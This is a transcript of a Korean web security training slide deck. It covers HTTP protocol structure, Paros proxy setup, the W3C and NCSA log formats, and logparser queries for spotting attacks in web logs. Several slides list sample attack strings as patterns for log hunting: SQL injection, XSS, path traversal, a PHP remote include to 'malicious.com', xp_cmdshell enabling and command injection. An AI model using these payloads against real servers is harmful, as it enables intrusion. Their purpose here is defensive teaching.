Presentation is loading. Please wait.

Presentation is loading. Please wait.

1. Section I. 웹 프로토콜과 로그의 이해 1. 웹 프로토콜 1.1 통신 절차 1.2 HTTP Request 1.3 HTTP Response 2. 웹 로그 2.1 W3C 유형 2.2 NCSA 포맷 2.3 로그 분석 2.

Similar presentations


Presentation on theme: "1. Section I. 웹 프로토콜과 로그의 이해 1. 웹 프로토콜 1.1 통신 절차 1.2 HTTP Request 1.3 HTTP Response 2. 웹 로그 2.1 W3C 유형 2.2 NCSA 포맷 2.3 로그 분석 2."— Presentation transcript:

1 1

2 Section I. 웹 프로토콜과 로그의 이해 1. 웹 프로토콜 1.1 통신 절차 1.2 HTTP Request 1.3 HTTP Response 2. 웹 로그 2.1 W3C 유형 2.2 NCSA 포맷 2.3 로그 분석 2

3 학습 포인트 1. HTTP 구조 (Request, Response) 의 이해 2. 툴 ( 파로스 ) 사용법 – 취약점 분석의 기본 3. 웹 로그 유형의 이해 4. 유형별 로그 분석 방법의 이해 – 해킹 사고 분석의 기본 3

4 1. 웹 프로토콜 - 통신절차 (1) 사용자는 웹 브라우저를 통해 주소를 입력, 그러면 웹 브라우저에는 요청한 페이지가 로딩 그림. HTTP 송수신 과정 HTML 파일 그림 파일 4

5 1. 웹 프로토콜 – 통신절차 (2) TCP(HTTP) 는 3 가지 절차를 통해 통신이 이루어진다. (1) 세션 연결 ( 나는 너와 통신하고 싶다. ) (2) 데이터 송. 수신 ( 웹 브라우저에 페이지 로딩 ) (3) 세션 종료 ( 통신 종료 ) …. (1) 세션 연결 ( 나는 너와 통신하고 싶다. ) (2) 데이터 송. 수신 ( 웹 브라우저에 페이지 로딩 ) (3) 세션 종료 ( 통신 종료 )  HTML 페이지 1 개 .JS( 자바스크립트 ) 파일  등등  그림 파일 5

6 1. 웹 프로토콜 – 통신절차 (3) 그림. HTTP 세션연결 및 데이터 전송 HTTP 세션연결 HTTP 데이터송수신 6

7 1. 웹 프로토콜 – 통신절차 (4) 그림. HTTP 종결 세션 종료 7

8 1. 웹 프로토콜 – 통신절차 (5) URG : 다른 패킷에 비해 가장 먼저 긴급하게 처리를 요청하기 위한 BIT ACK : 잘 받았다는 메시지 처리를 위한 BIT PSH : 빠른 처리 요구를 위한 BIT ( 모든 데이터가 전송되었음 ) ( 일반적으로 모든 TCP 메시지를 주고 받을 때 기본 값으로 들어감 ) RTS : 강제로 세션을 끊기 위한 BIT SYN : TCP 세션을 시작하기 위한 BIT FIN : 정상적인 절차로 세션을 끊기 위한 BIT Control Flags ( 연결에 대한 제어 정보 ) 그림. TCP 헤더 8

9 1. 웹 프로토콜 – HTTP Request(1) Header Body HTTP Request( 요청 ) Header Body HTTP Response( 수신 ) 웹 브라우저웹 서버 웹 브라우저웹 서버 그림. HTTP 송, 수신 9

10 1. 프로토콜 – HTTP Request(2) ○ HTTP Request 에는 무엇이 포함되어 있는가 ? 그림. HTTP Request 정보 10

11 ① GET /index.html HTTP/1.1 // 요청 URL 정보 ( 메소드, 페이지 ) 및 HTTP 버전 ② user-agent: MSIE 6.0; Windows NT 5.0 // 사용자 웹 브라우저 종류 ③ accept: text/html; */* // 요청 데이터 타입 ④ cookie: name = value // 쿠키 ( 인증 정보 ) ⑤ referer: http://www.bbb.com // 경유지 URL ⑥ host: www.evenstar.co.kr // 요청 도메인 1. 웹 프로토콜 – HTTP Request(3) ○ HTTP Request 에 포함된 상세 정보 11

12 1. 웹 프로토콜 – HTTP Request(4) HTTP 는 TCP 계열이지만, 타 TCP 프로토콜 (Telnet, FTP 등 ) 과는 다른 차이 (Stateless) 를 가지고 있다. POC ….. Login POC 자금이체 POC 이체확인 POC Log Out = Charlie = ??? 그림. 쿠키의 필요성 (1) 12

13 1. 웹 프로토콜 – HTTP Request(5) 그림. 쿠키의 필요성 (2) POC ….. Login POC 자금이체 POC 이체확인 POC Log Out = Charlie 13

14 1. 웹 프로토콜 – HTTP Request(6) ○ GET Method 2,083 정도의 길이 데이터만을 처리 ( 게시판 글 입력 처리 불가 등 ) Method 구조설 명설 명 GET GET [request-uri]?query_string HTTP/1.1 Host:[Hostname] 혹은 [IP] GET 요청 방식은 요청 URI(URL) 가 가지고 있 는 정보를 검색하기 위 해 서버 측에 요청하는 형태이다. ○ HTTP GET 구조 (URI + Query String) http://www.evenstar.co.kr/webpage/biglook_a.html ( http header 에 포함 )http://www.evenstar.co.kr/webpage/biglook_a.html URI http://www.evenstar.co.kr/wizboard.php?BID=notice ( http header 에 포함 ) URI Query String 14

15 1. 웹 프로토콜 – HTTP Request(7) ○ GET MethodGET 요청 메시지 (Body) 는 없음 15

16 1. 웹 프로토콜 – HTTP Request(8) ○ POST Method 길이 제한이 없어 많은 입력 데이터를 처리 ( 게시판 입력 글 처리 가능 ) ○ HTTP POST 구조 (URI + Query String) http://www.evenstar.co.kr/wizboard.php ( http header 에 포함 ) URI BID=notice ( http Body 에 포함 ) Query String Method 전송 형태설 명설 명 POST POST [request-uri] HTTP/1.1 Host:[Hostname] 혹은 [IP] Content-Length:[Bytes] Content-Type:[Content Type] [query-string] 혹은 [ 데이터 ] 게시판 등과 같은 폼 데이터 및 CGI 프로그램으로 구성된 페이지를 위해 처리하기 위해 POST 방식으로 전송하게 되 며, 웹 브라우저와 시스템 간 데이터 처리로 웹 브라우저에 는 페이지 정보만을 확인할 수 있다. 16

17 1. 웹 프로토콜 – HTTP Request(9) ○ POST Method POST 요청 ( 헤더 ) POST 요청 ( 몸체 ) [ 주의 ] GET Method 와의 차이는 무엇인가 ? 17

18 1. 웹 프로토콜 – HTTP Response(1) ① HTTP/1.1 OK 200 // 프로토콜 버전 및 응답코드 ② Server: NCSA/1.4.2 // 웹 서버 배너 정보 ③ Content-type: text/html // MIME 타입 ④ Content-length: 107 // HTTP Body 사이즈 ⑤ // 페이지 구성 정보 (HTML 태그 등 ) http protocol The understanding of http protocol ○ HTTP Response 에 포함된 상세 정보 HTTP Header 포함 범위 : (1), (2), (3), (4) HTTP Body 포함 범위 : (5) Header Body 빈 공백 1 줄 18

19 1. 웹 프로토콜 – HTTP Response(2) HTTP Status Code( 응답코드 ) 종류 요청 ( get /index.html ) 200 번 ( 요청성공 ) 201 번 ( 원격지서버에 파일 생성 ) 302 번 ( 페이지이동 ) 304 번 ( 로컬 캐쉬정보이용 ) 401 번 ( 인증실패 ) 403 번 ( 접근금지 ) 404 번 ( 페이지없음 ) 500 번 ( 서버에러 ) 수신 ( 응답코드 ) 웹 브라우저 웹 서버 19

20 1. 프록시 툴을 이용한 HTTP 분석 (1) 그림. HTTP 분석 및 테스트 20

21 * 파로스 운영 요구 사항 ① 자바 1.4 이상 버전 설치 ( 파로스는 자바 어플리케이션 ) ② ant( 자바 컴파일러 ) 설치 ( 파로스 소스 수정 및 컴파일 ) ③ 운영 환경을 위한 시스템 환경 변수 설정 ④ 환경 변수 설정 적용을 위한 시스템 리부팅 1. 프록시 툴을 이용한 HTTP 분석 (2) 파로스는 HTTP 분석 ( 프록시 기능 ) 및 취약점 분석을 보유 21

22 ① 자바 설치 여부 확인 C:\>java –version java version "1.4.2_03" Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2_03-b02) Java HotSpot(TM) Client VM (build 1.4.2_03-b02, mixed mode) [ 주의 ] 위와 같은 메시지가 없는 경우, java 설치되지 않음 자바설치는 “ 프리렉 본 강의 게시판 ” 혹은 “ 인터넷 검색을 통한 다운로드 ” 1. 프록시 툴을 이용한 HTTP 분석 (3) 22

23 ② ant 설치 여부 확인 C:\>ant Buildfile: build.xml does not exist! Build failed [ 주의 ] 위와 같은 메시지가 없는 경우, ant 설치 “ 프리렉 본 강의 게시판 ” 혹은 “ 인터넷 검색을 통한 다운로드 ” 1. 프록시 툴을 이용한 HTTP 분석 (4) 23

24 ③ 시스템 환경 설정 – 자바 설정 1. 프록시 툴을 이용한 HTTP 분석 (5) 그림. 자바 설정 24

25 ③ 시스템 환경 설정 (2) 2) ant 위치 지정 - “ 프리렉 본 강의 게시판 ” 을 통한 다운로드 1. 프록시 툴을 이용한 HTTP 분석 (6) 그림. ANT 설정 25

26 ④ 시스템 리부팅 후, 재 확인 C:\>java –version java version "1.4.2_03" Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2_03-b02) Java HotSpot(TM) Client VM (build 1.4.2_03-b02, mixed mode) C:\>ant Buildfile: build.xml does not exist! Build failed 1. 프록시 툴을 이용한 HTTP 분석 (7) 26

27 ○ 파로스 설치 – 소스 및 실행파일 다운로드 및 설치 1. 프록시 툴을 이용한 HTTP 분석 (8) 그림. 파로스 다운로드 27

28 그림. 파로스의 운영 ( 프록시 ) 구조 1. 프록시 툴을 이용한 HTTP 분석 (9) 28

29 ○ 파로스의 중요 모듈 Crawl : URL 구조를 파악하고 페이지 정보를 수집하는 단계 Scan : 수집된 정보를 바탕으로 취약점 패턴을 전송하는 단계 Report : 취약점 결과를 제공하는 단계 Proxy : HTTP 프록시 구조 제공 1. 프록시 툴을 이용한 HTTP 분석 (10) 29

30 ○ 파로스 프록시 설정 1. 프록시 툴을 이용한 HTTP 분석 (11) 그림. 파로스 포트 설정 30

31 ○ 웹 브라우저 프록시 설정 주의할 점은 파로스의 프록시 포트와 동일해야 한다. 그림. 웹 브라우저 프록시 설정 1. 프록시 툴을 이용한 HTTP 분석 (12) 31

32 HTTP Request HTTP Response 수집된 구조 1. 프록시 툴을 이용한 HTTP 분석 (13) 그림. 파로스 운영 설정 테스트 32

33 ○ 파로스 프록시를 이용한 데이터 변조 방법 (1) http://www.elated.com/res/File/articles/development/javascript/ form-validation-with-javascript/simple_form.html 1. 프록시 툴을 이용한 HTTP 분석 (14) 그림. 파로스를 이용한 데이터 변조 (1) 33

34 ○ 파로스 프록시를 이용한 데이터 변조 방법 (1) Trap Request : 웹 브라우저에서 웹 서버로 전송되는 데이터 가로채기 Trap Response : 웹 서버에서 웹 브라우저로 전송되는 데이터 가로채기 프록시 기능 1. 프록시 툴을 이용한 HTTP 분석 (15) 그림. 파로스를 이용한 데이터 변조 (2) 34

35 Quiz 1.HTTP Header 와 Body 측면에서 GET, POST 의 차이는 무엇인가 ? 2. 파로스의 중요 모듈은 구성은 무엇인가 ? 3. 파로스의 프록시는 어떤 역할을 제공하는가 ? 35

36 ○ 웹 로그 포맷의 종류 (1)W3C 타입 (IIS 등 ) (2)NCSA 타입 ( 아파치, 탐캣 등 ) 2. 웹 로그 (1) 2008-10-11 01:02:33 127.0.0.1 GET /shop/ - 302 2008-10-11 01:02:40 127.0.0.1 GET /shop/index.asp - 200 2008-10-11 01:02:40 127.0.0.1 GET /shop/Style.css - 200 2008-10-11 01:02:40 127.0.0.1 GET /shop/Images/main_logo.gif - 200 2008-10-11 01:02:40 127.0.0.1 GET /shop/Images/topdogcat.gif – 200 1.1.1.1[11/Apr/2008:00:00:07+0900]GET /blabla/css/style_01.css HTTP/1.1200 1.1.1.1[11/Apr/2008:00:00:07+0900]GET /blabla/css/font.css HTTP/1.1200 1.1.1.1[11/Apr/2008:00:00:07+0900]GET /blabla/inc/script.js HTTP/1.1200 1.1.1.1[11/Apr/2008:00:00:07+0900]GET /blabla/inc/logo.js HTTP/1.1200 36

37 ○ W3C – IIS 로그 설정의 이해 2. 웹 로그 (2) 일반 속성 : 로그 생성 주기, 위치 등 확장 속성 : 로그 포맷 등 37

38 ○ W3C – IIS 로그 설정의 이해 기본 (Default) 설정으로는 해킹흔적을 분석할 수 없다. 이유는 무엇인가 ? 2. 웹 로그 (3) 38

39 ○ W3C – IIS 로그 설정의 이해 기본 (Default) 설정으로는 해킹흔적을 분석할 수 없다. 이유는 무엇인가 ? 2. 웹 로그 (4) 2008-10-26 19:17:16 219.145.48.7 GET /free/write.asp table=free&gotopage=1 200 2008-10-26 : Date 19:17:16 : Time 219.145.48.7 : c-ip GET : cs-method /free/write.asp : cs-uri-stem table=free&gotopage=1 : cs-uri-query 200 : sc-status 39

40 SQL Injection 원본 : /bbs/bbs.asp?id=100 공격 : /bbs/bbs.asp?id=100‘ XSS 원본 : /bbs/bbs.asp?id=100 공격 : /bbs/bbs.asp?id= alert("test") 다운로드 원본 : /bbs/bbs.asp?id=100 공격 : /bbs/bbs.asp?id=../../bbs/bbs.asp PHP Injection 원본 : /bbs/bbs.php?id=100 공격 : /bbs/bbs.php?id=http://malicious.com/txt? ○ W3C – IIS 로그 설정의 이해 기본 (Default) 설정으로는 해킹흔적을 분석할 수 없다. 이유는 무엇인가 ? 2. 웹 로그 (5) 40

41 2. 웹 로그 (6) HEAD /SHOP/index.asp 헤더만 전송, 웹 서버의 다운 점검 및 웹 서버 버전 정보 획득에 사용 OPTIONS /SHOP/index.asp 웹 서버의 지원 메소드 종류 확인 PUT /upload/Defacement.html 웹 서버의 파일 생성 DELETE /upload/Defacement.html 웹 서버의 파일을 삭제 TRACE http://www.w3c.org/index.html 웹 서버에 요청한 내용을 다시 사용자에게 되돌려주는 (Echo) 역할 CONNECT www.xxx.com:25 웹 서버에 프록시 포트를 요청하여 다른 포트를 사용 ○ HTTP Method 종류 41

42 2. 웹 로그 (6) ○ HTTP Method 종류 – 테스트 방법 TRACE 메소드 전송 TRACE 메소드 수신 42

43 요청 페이지응답 코드판단 근거 GET /SQL injection200 공격 성공 GET /SQL injection200 공격 실패 GET /SQL injection302, 304 공격 실패 GET /SQL injection403 페이지 차단 GET /SQL injection404 페이지 없음 2. 웹 로그 (6) ○ 공격 패턴과 응답코드와의 상관관계 (1) 43

44 공격 로그설명 침해 가능성 높은 응답코드 PUT /hacking.html 홈 페이지 변조 시도 201 번 GET /shop/faq.asp RndRec=3' SQL Injection 500 번 대 GET Number=002412'; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 200 번 대 GET /cgi-bin/main.cgi?com= down_load&file=%7C.txt;free%7C 명령어 삽입 200 번 대 2. 웹 로그 (7) ○ 공격 패턴과 응답코드와의 상관관계 (2) 44

45 2. 웹 로그 (8) ○ NCSA 웹 서버의 원조 격인 NCSA 계열 웹 서버에서 사용하는 파일 형식이며 CLF(Common Logfile Format) 라고도 불림 ( 예 ) 아파치 로그 등 아파치의 경우, httpd.conf 파일 내 Logformat 이름으로 시작되는 부분이 필드를 설정하는 부분이다. LogFormat "%h %l %u %t \"%r\" %>s %b" common // 웹 로그 포맷을 지정하는 부분 CustomLog logs/access_log common // 웹 로그 저장 위치를 지정하는 부분 45

46 2. 웹 로그 (9) ○ NCSA 필 드필 드설 명설 명 %h 접속자 IP 주소 %l 마이너스 기호 (-), 특별한 정보가 없는 경우 %u 사용자 인증 정보 %t 접속 시간정보 형식 : [day/month/year:hour:minute:second zone] ( 예 ) [03/Jun/2008:18:40:38 +0900] day = 숫자 2 개 month = 숫자 3 개 year = 숫자 4 개 hour = 숫자 2 개 minute = 숫자 2 개 second = 숫자 2 개 zone = (`+' | `-') 숫자 4 개 46

47 \"%r\" 메소드, 페이지, 파라미터, HTTP 버전 %>s 상태코드 %b HTTP Body 사이즈 2. 웹 로그 (10) ○ NCSA \"%{Referer}i\” 경유한 사이트 정보 \"%{User-agent}i\" 사용자의 웹 브라우저 종류 47

48 필드 W3CNCSA 접속 날짜 Date DateTime 접속 시간 Time 접속자 IP C-ipRemoteHostName HTTP 메소드 Cs-method Request 요청 페이지 Cs-uri-stem 쿼리 스트링 ( 파라미터 ) Cs-uri-query 응답 코드 Sc-statusStatusCode 2. 웹 로그 (11) ○ W3C 와 NCSA 와의 필드 관계 단, 현재의 필드 정보는 분석툴 (logparser) 에서 사용하기 위한 목적이다. 48

49 필드 W3CNCSA 접속 날짜 접속 시간 접속자 IP HTTP 메소드 요청 페이지 쿼리 파라미터 응답 코드 2. 웹 로그 (12) ○ W3C 와 NCSA 와의 필드 관계 Quiz. 다음 로그를 각 포맷에 맞게 구분하시오. 2008-12-01 06:46:42 10.1.1.10 GET /DealofWeek.asp ProdId=1 200 (1) (2) (3) (4) (5) (6) (7) 49

50 2. 웹 로그 (13) ○ 로그 분석기 설치 (logparser) – 실행파일 다운로드 및 설치 그림. 다운로드 50

51 2. 웹 로그 (14) ○ logparser 실행 51

52 Logparser “ select date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query, sc-status From c:\winnt\system32\logfiles\W3SVC1\*.* to c:\aaa.csv where sc-status=500" -i:IISW3C -o:CSV 2. 웹 로그 (15) ○ logparser 실행 – W3C 필 드필 드설 명설 명 date 접속 날짜 time 접속 시간 c-ip 접속자 IP cs-method HTTP 메소드 cs-uri-stem 요청 페이지 cs-uri-query 파라미터 sc-status 응답 코드 52

53 2. 웹 로그 (16) ○ logparser 실행 – W3C ( 수강생 Q&A - W3C 테스트 로그 다운로드 ) (1) 응답코드 500 분석 where sc-status= (2) 페이지 분석 (bwrite.asp?Code=board&Key=product) where cs-uri-stem like ‘%’ (3) 파라미터 분석 ( 파라미터 중 key 패턴을 추출 ) bwrite.asp?Code=board&Key=product where cs-uri-query ‘%’ 53

54 C:\>logparser "select date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query,sc-status from d:\ex050101.log to c:\log.txt where sc-status=500" -i:w3c -o:csv Statistics: ----------- Elements processed: 119 Elements output: 7 Execution time: 0.07 seconds 2. 웹 로그 (17) (1) 응답코드 500 번을 분석한다. where sc-status=500 54

55 C:\>logparser "select date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query,sc-status from d:\ex050101.log to c:\log.txt where cs-uri-stem like ‘%bwrite.asp%’ " -i:w3c -o:csv Statistics: ----------- Elements processed: 119 Elements output: 7 Execution time: 0.07 seconds 2. 웹 로그 (18) (2) 페이지 분석 where cs-uri-stem like ‘%bwrite.asp%’ 55

56 C:\>logparser "select date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query,sc-status from d:\ex050101.log to c:\log.txt Where cs-uri-query like ‘%key%’” -i:w3c -o:csv Statistics: ----------- Elements processed: 119 Elements output: 6 Execution time: 0.03 seconds 2. 웹 로그 (19) (3) 파라미터 분석 where cs-uri-query like ‘%key%’ 56

57 SQL Injection 의 기본패턴인 특수문자 (‘) 를 분석하는 경우 원본 : /bbs/bbs.asp?id=100 공격 : /bbs/bbs.asp?id=100‘ where cs-uri-query like ‘%\’%’ Quiz. 본 강의 게시판의 ex050101.log 의 특정 파라미터에 특수문자 (‘) 를 첨부하고 저장한다. 그리고 특수문자 (‘) 를 분석하여 결과를 확인한다. 2. 웹 로그 (20) (4) 파라미터 분석 ( 특수문자가 포함된 경우 ) 57

58 2. 웹 로그 (21) ○ logparser 실행 – NCSA 필드 NCSA 접속 날짜 DateTime 접속 시간 접속자 IP RemoteHostName HTTP 메소드 Request 요청 페이지 쿼리 스트링 ( 파라미터 ) 응답 코드 StatusCode 58

59 2. 웹 로그 (15) ○ logparser 실행 – NCSA (1) 응답 코드 200 번 분석 C:\>logparser "select remotehostname, datetime, request, statuscode from d:\ncsa.log to d:\aaaaaaaaa.txt where statuscode=200" -i:ncsa -o:csv 주의 : 필드이름 및 INPUT 타입 (-i) 이 W3C 와는 차이가 있다. (2) Ncsa 로그에서 파라미터에 00000 문자열을 검색 C:\>logparser "select remotehostname, datetime, request, statuscode from d:\ncsa.log to d:\aaaaaaaaa.txt where request like '%00000%'" -i:ncsa -o:csv 59

60 Quiz 1.IIS 포맷 (W3C) 에서 공격이 자주 삽입되는 위치는 어디인가 ? 2.NCSA 에서 path 는 W3C 의 어떤 필드와 동일한가 ? 3. 교재에서 로그 분석 과제로 제시한 내용 중 “turkish.htm” 은 W3C 에서는 어떤 필드를 의미하나 ? 4. 3 번문제를 통해 공격 시작 점을 확인한 경우, 어떤 식으로 원인을 파악할 것인가 ? 60


Download ppt "1. Section I. 웹 프로토콜과 로그의 이해 1. 웹 프로토콜 1.1 통신 절차 1.2 HTTP Request 1.3 HTTP Response 2. 웹 로그 2.1 W3C 유형 2.2 NCSA 포맷 2.3 로그 분석 2."

Similar presentations


Ads by Google